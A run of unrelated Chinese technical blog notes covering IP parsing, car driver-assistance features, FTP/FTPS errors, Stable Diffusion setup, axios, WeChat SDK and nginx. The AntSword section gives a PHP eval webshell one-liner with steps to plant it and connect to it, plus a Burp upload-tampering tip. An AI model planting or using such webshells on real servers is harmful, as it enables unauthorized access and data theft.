例子：IPAddress.Parse("27.184.49.031")

Parse 方法认为 031 是八进制数，所以最终的结果是 27.184.49.25。

例子：IPAddress.Parse("27.184.49.081")

同理，“0”开头的数会按八进制数处理，那么这个转换将抛出异常：提供了一个无效的参数。An invalid IP address was specified.

驾驶自动化等级与划分要素的关系

摘自：《汽车驾驶自动化分级》（GB/T 40429-2021）

部分车企驾驶安全与辅助、智能领航和泊车辅助系统简介

问界

        新M5 全系搭载华为高阶智能驾驶系统，包含智驾领航辅助（NCA）、车道巡航辅助（LCC）、车道巡航辅助增强（LCC Plus）、全向防碰撞系统（CAS）、智能泊车辅助（APA）、遥控泊车辅助（RPA）、代客泊车辅助（AVP）、哨兵模式等功能。部分高阶智驾功能需付费开通，如城区智驾领航辅助（City NCA）、城区车道巡航辅助增强（City LCC Plus）、代客泊车辅助（AVP）等。

参考：问界 M5 华为高阶智能驾驶系统

阿维塔

驾驶安全与辅助：

        前向碰撞预警（FCW）、自动紧急制动（AEB）、异形障碍物自动紧急制动（GAEB）、低速自动紧急制动（LAEB）、前向横穿碰撞预警（FCTA）、前向横穿碰撞制动（FCTB）、后向碰撞预警（RCW）、后向横穿碰撞预警（RCTA）、后向横穿碰撞制动（RCTB）、后向自动紧急制动（RAEB）、交通标志识别（TSR）、交通信号灯识别（TLR）、超速告警（TSA）、开门预警（DOW）、车道偏离预警（LDW）、盲区监测预警（BSD）、车道保持辅助（LKA）、紧急车道保持辅助（ELKA）、侧向障碍物防碰撞（LOCP）、自适应巡航辅助（ACC）、高速车道巡航辅助 (Highway LCC）

智能领航系统：

        高速智驾领航辅助 (Highway NCA）、城区车道巡航辅助 (City LCC）、城区智驾领航辅助 (City NCA）

智能泊车辅助系统：

        智能泊车辅助（APA）、遥控泊车辅助（RPA）、代客泊车辅助（AVP）

其中，ADS高阶功能包需付费购买，包含城区智驾领航辅助 (City NCA）与代客泊车辅助（AVP）。

参考：阿维塔 12 参数配置表

蔚来

智能驾驶-安全辅助：

        前向碰撞预警 (FCW)、自动紧急制动 (AEB)、车辆盲区监测 (BSD)、变道盲区预警 (LCA)、侧方开门预警 (DOW)、后方穿行预警带制动 (RCTA-B)、前方穿行预警带制动 (FCTA-B)、车道偏离预警 (LDW)、车道保持辅助 (LKA)、紧急主动停车(EAS)、紧急车道保持 (ELK)、全场景误加速抑制辅助 (MAI+)、增强型驾驶员感知系统 (ADMS)、通用障碍物预警及辅助 (GOA)、增强型自动紧急转向 (AES)

智能驾驶-泊车辅助：

        视觉融合泊车辅助 (S-APA with Fusion)、换电站泊车辅助 (PSAP)、车辆近距召唤 (NBS)、遥控泊车辅助 (RPA)

智能驾驶-辅助驾驶：

        车道居中辅助 (LCC)、转向灯控制变道 (ALC)、智能自适应巡航 (i-ACC)、道路标识识别 (TSR)、动态环境模拟显示 (ESD)、视觉融合起步提醒 (AGN)

蔚来智能驾驶NAD服务：

        智能驾驶NAD服务（覆盖部分城区道路、封闭高速道路的智能驾驶体验）、低速及泊车智能驾驶NAD服务（支持领航泊车、智能召唤等功能体验）、全域领航辅助 (NOP+)（支持高速、城市快速路、城区道路、高速服务区领航换电等体验）

参考：NIO ES6 详细配置表

小米

Xiaomi Pilot Pro：高速领航辅助（NOA）、智能泊车辅助（APA）、车道居中辅助（LCC）、代客泊车辅助（AVP）

Xiaomi Pilot Max：城市领航辅助（NOA）

参考：小米智能驾驶 Xiaomi Pilot

特斯拉

基本版 Autopilot 自动辅助驾驶：

        主动巡航控制、自动辅助转向

增强版 Autopilot 自动辅助驾驶：

        自动变道、自动辅助导航驾驶、自动泊车、召唤功能、智能召唤功能

完全自动驾驶功能 FSDFull-Self Driving（简称“FSD”）：

        交通信号灯和停车标志控制、在城市街道自动辅助转向等。2024年3月31日，特斯拉向美国部分用户推送FSD V12（Supervised）版本。

参考：Model 3 车主手册 Autopilot 自动辅助驾驶

客户端：Failed to connect to host.

服务端：无任何日志

原因：可能是域名、IP 或端口有误，或端口未开放。

客户端/服务端：530 Login incorrect.

原因：用户名或密码错误。

客户端/服务端：503 Use AUTH first.

原因：服务端开启了 FTPS 协议（FTP over TLS），且禁止了 FTP 协议（plain FTP）。

解决方法：不建议服务端恢复不安全的 FTP 协议，客户端应配置 client.Config 的 EncryptionMode、DataConnectionEncryption、SslProtocols、ValidateCertificate 等参数。

客户端/服务端：530 This server does not allow plain FTP. You have to use FTP over TLS.

原因：服务端启用了 FTPS。

解决方法：给 client.Config.EncryptionMode 正确的赋值（FtpEncryptionMode.Explicit 或 FtpEncryptionMode.Auto）。

服务端：[Error] TLS session of data connection not resumed.

原因：证书版本有误。

解决方法：给 client.Config.SslProtocols 赋值正确的 TLS 版本。

服务端：521 PROT P required

原因：服务端开启了“Require TLS session resumption on data connection when using PROT P”

解决方法：client.Config.DataConnectionEncryption = true;

客户端/服务端：450 TLS session of data connection has not resumed or the session does not match the control connection

原因：TLS 与控制连接不匹配，即服务端开启了“Require TLS session resumption on data connection when using PROT P”

解决方法：我暂时还不知道原因，临时关闭了“Require TLS session resumption on data connection when using PROT P”（不建议）。该问题出现在 FileZilla Server 0.x 版本，在 1.x 版本中没有该配置选项。

本文将详细介绍 stable diffusion webui 的下载、安装及问题解决。
Stable Diffusion 是 2022 年发布的深度学习文本到图像生成模型。它主要用于根据文本的描述产生详细图像，尽管它也可以应用于其他任务，如内补绘制、外补绘制，以及在提示词（英语）指导下产生图生图的翻译。它是一种潜在扩散模型，由慕尼黑大学的 CompVis 研究团体开发的各种生成性人工神经网络。它是由初创公司 StabilityAI，CompVis 与 Runway 合作开发的，并得到 EleutherAI 和 LAION 的支持。
其它问题请参考：

• 运行使用时问题《Windows 使用 Stable Diffusion 时遇到的各种问题整理》；

• 模型运用及参数《Stable Diffusion 个人推荐的各种模型及设置参数、扩展应用等合集》；

• 提示词生图咒语《Stable Diffusion 提示词词缀使用指南（Prompt）》；

• 不同类的模型Models说明《解析不同种类的 Stable Diffusion 模型 Models》；

• 绘制人物动作及手脚细节《Stable Diffusion 准确绘制人物动作及手脚细节（需 ControlNet 扩展）》；

• 各种风格对比及实际运用《AI绘图风格对照表/画风样稿详细研究记录及经验总结》；

一、环境准备

（一）硬件方面：

1. 显存

4G 起步，4G 显存支持生成 512*512 大小图片，超过这个大小将卡爆失败。

2. 硬盘

10G 起步，模型基本都在 5G 以上，有个 30G 硬盘不为过吧？现在硬盘容量应该不是个问题。

（二）软件方面：

1. Git

https://git-scm.com/download/win
下载最新版即可，对版本没有要求。

2. Python

https://www.python.org/downloads/
截止发稿（2023.3.6）时，最高版本只能用 3.10.*，用 3.11.* 会出问题。

3. Nvidia CUDA

https://developer.download.nvidia.cn/compute/cuda/11.7.1/local_installers/cuda_11.7.1_516.94_windows.exe
版本 11.7.1，搭配 Nvidia 驱动 516.94，可使用最新版。

4. stable-diffusion-webui

https://github.com/AUTOMATIC1111/stable-diffusion-webui
核心部件当然用最新版本~~但注意上面三个的版本的兼容性。

5. 中文语言包

https://github.com/VinsonLaro/stable-diffusion-webui-chinese
下载 chinese-all-0306.json 和 chinese-english-0306.json 文件

6. 扩展（可选）

https://github.com/Mikubill/sd-webui-controlnet
下载整个 sd-webui-controlnet 压缩包

https://huggingface.co/Hetaneko/Controlnet-models/tree/main/controlnet_safetensors
https://huggingface.co/lllyasviel/ControlNet/tree/main/models
https://huggingface.co/TencentARC/T2I-Adapter/tree/main
试用时先下载第一个链接中的 control_openpose.safetensors 或 第二个链接中的 control_sd15_openpose.pth 文件

7. 模型

https://huggingface.co/models
https://civitai.com
可以网上去找推荐的一些模型，一般后缀名为 ckpt、pt、pth、safetensors ，有时也会附带 VAE（.vae.pt）或配置文件（.yaml）。

这里可以学习一下模型的基本概念《解析不同种类的 Stable Diffusion 模型 Models，再也不用担心该用什么了》

二、安装流程

1. 安装 Git

就正常安装，无问题。

2. 安装 Python

建议安装在非 program files、非 C 盘目录，以防出现目录权限问题。
注意安装时勾选 Add Python to PATH，这样可以在安装时自动加入 windows 环境变量 PATH 所需的 Python 路径。

3. 安装 Nvidia CUDA

正常安装，无问题。

4. 安装 stable-diffusion-webui

国内需要用到代理和镜像，请按照下面的步骤操作：

a) 编辑根目录下 launch.py 文件
将 https://github.com  替换为 https://ghproxy.com/https://github.com，即使用  Ghproxy 代理，加速国内 Git。
如图将代码中所有类似地址都改掉（注意：不仅仅是图中所展示的这些）。

b) 执行根目录下 webui.bat 文件
根目录下将生成 tmp 和 venv 目录。

c) 编辑 venv 目录下 pyvenv.cfg 文件
将 include-system-site-packages = false 改为 include-system-site-packages = true。

d) 配置 python 库管理器 pip
方便起见，在 \venv\Scripts 下打开 cmd 后执行如下命令：

pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/ # 镜像
pip freeze > requirements_versions.txt # 创建文件
pip install -r requirements_versions.txt # 执行此条命令前，请检查你的剩余磁盘空间
pip install xformer # 如果不执行此条命令，启动 Stable Diffusion 时可能会出现错误。xformer 还可以在后续使用中降低显卡占用。

xformer 会安装到 \venv\Lib\site-packages 中，安装失败可以用 pip install -U xformers 命试试。

e) 安装语言包
将文件 chinese-all-0306.json 和 chinese-english-0306.json 放到目录 \localizations 目录中。
运行 webui 后进行配置，操作方法见下。

f) 安装扩展（可选）
将 sd-webui-controlnet 解压缩到 \extensions 目录中。
将 control_sd15_openpose.pth 文件复制到 /extensions/sd-webui-controlnet/models 目录中。
不同的扩展可能还需要安装对应的系统，比如 controlnet 要正常使用则还需要安装 ffmpeg 等。

g) 安装模型
下载的各种模型放在 \models\Stable-diffusion 目录中即可。

h) 再次执行根目录下 webui.bat 文件
用浏览器打开 webui.bat 所提供的网址即可运行。

其中提供了网址：http://127.0.0.1:7860。

打开该网址后在 Settings -> User interface -> Localization (requires restart) 设置语言，在菜单中选择 chinese-all-0220（前提是已经在目录中放入了对应语言包，见上），点击 Apply Settings 确定，并且点击 Reload UI 重启界面后即可。

好了，现在可以开始使用了~~

三、问题及注意点

1. python 版本错误

错误：


ERROR: Could not find a version that satisfies the requirement torch==1.13.1+cu117
ERROR: No matching distribution found for torch==1.13.1+cu117

这是由于 python 版本不对导致的（上面提过了，截止发稿时不能追求新版本），要用 python 3.10.* 版本。
解决来源：https://github.com/AUTOMATIC1111/stable-diffusion-webui/issues/7166

2. pip版本错误

警告：

[notice] A new release of pip available: 22.3.1 -> 23.0.1
[notice] To update, run: D:\stable-diffusion-webui\venv\Scripts\python.exe -m pip install --upgrade pip

提示中已经给出了解决方案：
在 \venv\Scripts\ 目录中打开 cmd，执行

python.exe -m pip install --upgrade pip

3. 安装或执行停滞

如果在执行 webui.bat 进行包下载安装时或者生成图片时会卡很久都没反应，那么这时可以复制包名，进入 python 安装目录或 \venv\Scripts\ 目录中打开 cmd，执行

pip install 包名

也可以通过任务管理查看网络状态，如果网络在玩命下载，那么就等着吧~~

4. xFormers 安装不上

很多同学都反应 xformers 无法安装，可以用以下的方法试试：

• 检查 Dreambooth 要求的 Python 版本：
  如果您的 Python 版本低于 3.6，请安装最新的 Python 版本，并重复尝试安装 xformers。

# 据此可以在终端中运行以下命令，以检查您的 Python 版本：
python --version

• 安装依赖项：xformers 有许多依赖项，如果这些依赖项没有正确安装可能会导致升级失败。您可以尝试安装以下依赖项：

pip install numpy scipy torch torchaudio transformers

• 清除 pip 缓存并重新安装：

# 清除 xformers 缓存：运行以下命令清除 xformers 缓存。
pip uninstall -y xformers
pip cache purge

# 更新 pip：确保您正在使用最新版本的 pip，可以运行以下命令更新 pip。
pip install --upgrade pip

# 安装 xformers：在清除了缓存并更新了 pip 之后，重新安装 xformers。
pip install xformers

• 手动安装 xformers 指定版本
  如果上述步骤仍然无法解决问题，可尝试手动安装 Dreambooth 所需的 xformers 版本。在 Dreambooth 的文档中，可以找到 xformers 的版本要求。

pip install xformers==0.0.17.dev465

• 使用 conda 环境
  如果您使用的是 conda 环境，请尝试在 conda 环境中安装 xformers。

# 创建 conda 环境
conda create --name myenv

# 激活 conda 环境并安装 xformers
conda activate myenv
pip install xformers

• 网络问题
  如果已经配置好了代理，就不要考虑这个了。
  检查网络连接：请确保您的计算机与互联网连接，并且网络连接没有被防火墙或代理服务器阻止：

# 检查网络连接是否正常
ping google.com

• 非必要
  你确定需要使用 xformers 么？如果不需要，可以在 webui-user.bat 中把 --xformers 去掉试试。

• 其它
  如果上述方法还是无法解决问题，请尝试在 OpenAI 的论坛或者 Dreambooth 的 GitHub 页面上寻求更多帮助。-_-!

5. 其他安装问题

删除 /tmp 和 /venv 目录后重启 webui.bat 试试。

6. 硬件问题

一般显卡不达标，就会爆卡，解决办法就是编辑根目录下 webui-user.bat 文件，试一下修改参数 COMMANDLINE_ARGS 即可。

以下几个设置逐一测试看看哪个适合自己。

set COMMANDLINE_ARGS=--lowvram --precision full --no-half --skip-torch-cuda-test
set COMMANDLINE_ARGS=--lowvram --precision full --no-half
set COMMANDLINE_ARGS=--lowvram

本机显存 4G，使用最后一个配置方法，可以烧出 2048*1080 的图，前两种方法反而会在最后爆卡。

最后，预祝各位成功~~

dog drink~~ where is dog?

参考：
【AI 繪畫】Stable-Diffusion 通過骨架分析插件 ControlNet 來製作超有意境的圖片
Stable Diffusion 2.1 + WebUI 的安装与使用（极详细）
低配显卡想玩 Stable Diffusion？修改一个配置就行
整合包

一般我们使用原生 JS 的时候使用 abort() 来取消 fetch 请求。

在使用 axios 发送请求时，如果我们想要取消请求，可以使用 axios 提供的 CancelToken 和 cancel 方法。下面是具体的实现步骤：

// 创建 CacnelToken 实例
const cancelTokenSource = axios.CancelToken.source();
// GET 方式请求
axios.get(url, {
    cancelToken: cancelTokenSource.token
}).catch(thrown => {
  if (axios.isCancel(thrown)) {
    console.log('Request canceled', thrown.message);
  } else {
    console.log('An error occurred', thrown);
  }
});
// POST 方式请求
axios.post(url, data, {
    cancelToken: cancelTokenSource.token
});
// 取消请求
cancelTokenSource.cancel('请求被取消');

get 请求的时候，cancelToken 是放在第二个参数里；post 的时候，cancelToken 是放在第三个参数里。axios-0.27.2 中测试成功。

在即时响应的搜索框中可以这样处理：（vue3）

let cancelTokenSource;
const app = Vue.createApp({
    methods: {
        fn_list: function () {
            // 如果已有请求则取消
            cancelTokenSource && cancelTokenSource.cancel();
            // 创建一个新的请求
            cancelTokenSource = axios.CancelToken.source();
            axios.post(url, data, {
                cancelToken: cancelTokenSource.token
            }).then(function (response) {
                // 请求成功
            }).catch(function (error) {
                // 请求失败/取消
            });
        },
    }
});
const vm = app.mount('#app');

如果你用 jQuery，请参此文。

中国蚁剑

https://github.com/AntSwordProject

https://github.com/AntSwordProject/AntSword-Loader

http://t.zoukankan.com/liang-chen-p-14181806.html

使用说明：

下载 AntSword-Loader 和 antSword 并解压；

打开 AntSword.exe，初始化时选择 antSword 目录；

右键“添加数据”，填 URL，选择连接类型，以 PHP 为例，服务器上放置一个 PHP 文件，格式如：

<?php @ev删除这七个汉字al($_POST['value']); ?>

那么，“连接密码”就填 POST 的参数名 value。

添加完成，双击可打开树状菜单，显示服务器上所有有权限的文件。

Burp：篡改请求（譬如上传图片时将文件名改为.php，并添加shell脚本）

https://portswigger.net/burp

使用方法：https://zhuanlan.zhihu.com/p/537053564

一句话木马：https://www.icode9.com/content-4-1081174.html

本文使用 ASP.NET 6 版本 Senparc.Weixin.Sample.MP 示例项目改造。

第一步 注册多公众号

方法一：打开 appsettings.json 文件，在 SenparcWeixinSetting 节点内添加数组节点 Items，该对象类型同 SenparcWeixinSetting。

//Senparc.Weixin SDK 设置
"SenparcWeixinSetting": {
  "IsDebug": true,
  "Token": "",
  "EncodingAESKey": "",
  "WeixinAppId": "",
  "WeixinAppSecret": "",
  "Items": [
    {
      "IsDebug": true,
      "Token": "a",
      "EncodingAESKey": "a",
      "WeixinAppId": "a",
      "WeixinAppSecret": "a"
    },
    {
      "IsDebug": true,
      "Token": "b",
      "EncodingAESKey": "b",
      "WeixinAppId": "b",
      "WeixinAppSecret": "b"
    }
  ]
}

方法二：修改 Program.cs 文件，在 UseSenparcWeixin 方法中注册多个公众号信息。

var registerService = app.UseSenparcWeixin(app.Environment,
    null /* 不为 null 则覆盖 appsettings  中的 SenparcSetting 配置*/,
    null /* 不为 null 则覆盖 appsettings  中的 SenparcWeixinSetting 配置*/,
    register => { /* CO2NET 全局配置 */ },
    (register, weixinSetting) =>
    {
        //注册公众号信息（可以执行多次，注册多个公众号）
        //register.RegisterMpAccount(weixinSetting, "【盛派网络小助手】公众号");
        foreach (var mp in 从数据库或配置文件中获取的公众号列表)
        {
            register.RegisterMpAccount(new SenparcWeixinSetting
            {
                //IsDebug = true,
                WeixinAppId = mp.AppId,
                WeixinAppSecret = mp.AppSecret,
                Token = mp.Token,
                EncodingAESKey = mp.EncodingAeskey,
            }, mp.Name);
        }
    });

完成后，我们可以从 Config.SenparcWeixinSetting.Items 获取这些信息。

第二步 接入验证与消息处理

打开 WeixinController 控制器，将构造函数改写为：

public WeixinController(IHttpContextAccessor httpContextAccessor)
{
    AppId = httpContextAccessor.HttpContext!.Request.Query["appId"];
    var MpSetting = Services.MPService.MpSettingByAppId(AppId);
    Token = MpSetting.Token;
    EncodingAESKey = MpSetting.EncodingAESKey;
}

示例中 Services.MPService.MpSettingByAppId() 方法实现从 Config.SenparcWeixinSetting.Items 返回指定 appId 的公众号信息。

为使 IHttpContextAccessor 注入生效，打开 Program.cs，在行

builder.Services.AddControllersWithViews();

下方插入

builder.Services.AddHttpContextAccessor();

这样，我们就可以在构造函数中直接获取地址栏中的 appId 参数，找到对应的公众号进行消息处理。

第三步 消息自动回复中的 AppId

打开 CustomMessageHandler.cs，将 

private string appId = Config.SenparcWeixinSetting.MpSetting.WeixinAppId;
private string appSecret = Config.SenparcWeixinSetting.MpSetting.WeixinAppSecret;

替换为：

private string appId = null!;
private string appSecret = null!;

并在构造函数中插入

appId = postModel.AppId;
appSecret = Services.MPService.MpSettingByAppId(postModel.AppId).WeixinAppSecret;

这样，本页中使用的 appId / appSecret 会从 postModel 中获取，而非默认公众号。postModel 已在 WeixinController 中赋值当前的 appId。

改造后，我们可以在 OnTextRequestAsync() 等处理消息的方法中可以判断 appId 来处理不同的消息。

第四步 其它功能和接口

其它功能和接口均可用指定的 AppId 和对应的 AppSecret 进行调用。

普通的 nginx http 反向代理 https 时是需要配置证书的，但我们又不可能由源域名的证书，所以要使用 nginx 的 stream 模块。普通的 nginx 反向代理属于第七层代理，而 stream 模块是第四层代理，通过转发的 tcp/ip 协议实现高功能，所以不需要证书。

我们这里以使用宝塔安装的 nginx 为例，其实其他系统也是类似，只要找到编译的 nginx 的源码目录就行了

编译前先将已经安装的 nginx 文件进行备份

通过 ps 命令查看 nginx 文件的路径。以下所有步骤都以自身 nginx 路径为准

# ps -elf | grep nginx
# cd /www/server/nginx/sbin/
# cp nginx nginx.bak

然后查看当前 nginx 编译的参数

/www/server/nginx/sbin/nginx -V

将 ./configure arguents：之后的内容复制到记事本备用（备注：我们这里其实使用的是 Tengine-2.3.1，所以下面的编译参数可能跟普通 nginx 不是很一样）

内容如下：

--user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --with-openssl=/www/server/nginx/src/openssl --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --add-module=/www/server/nginx/src/lua_nginx_module --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-pcre=pcre-8.42 --with-cc-opt=-Wno-error --add-module=/www/server/nginx/src/ngx-pagespeed

进入 src 目录

cd /www/server/nginx/src

我们在上面的内容中加入两个参数

./configure --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --with-openssl=/www/server/nginx/src/openssl --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --add-module=/www/server/nginx/src/lua_nginx_module --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-pcre=pcre-8.42 --with-cc-opt=-Wno-error --add-module=/www/server/nginx/src/ngx-pagespeed --with-stream --with-stream_ssl_preread_module

并执行它

然后

make && make install

重启 nginx

service nginx restart

nginx -V 看看模块是不是加载了

新建个站点，配置反向代理

卸载

使用 nginx.bak 文件替换掉自编译的 nginx 文件，替换后重启 nginx。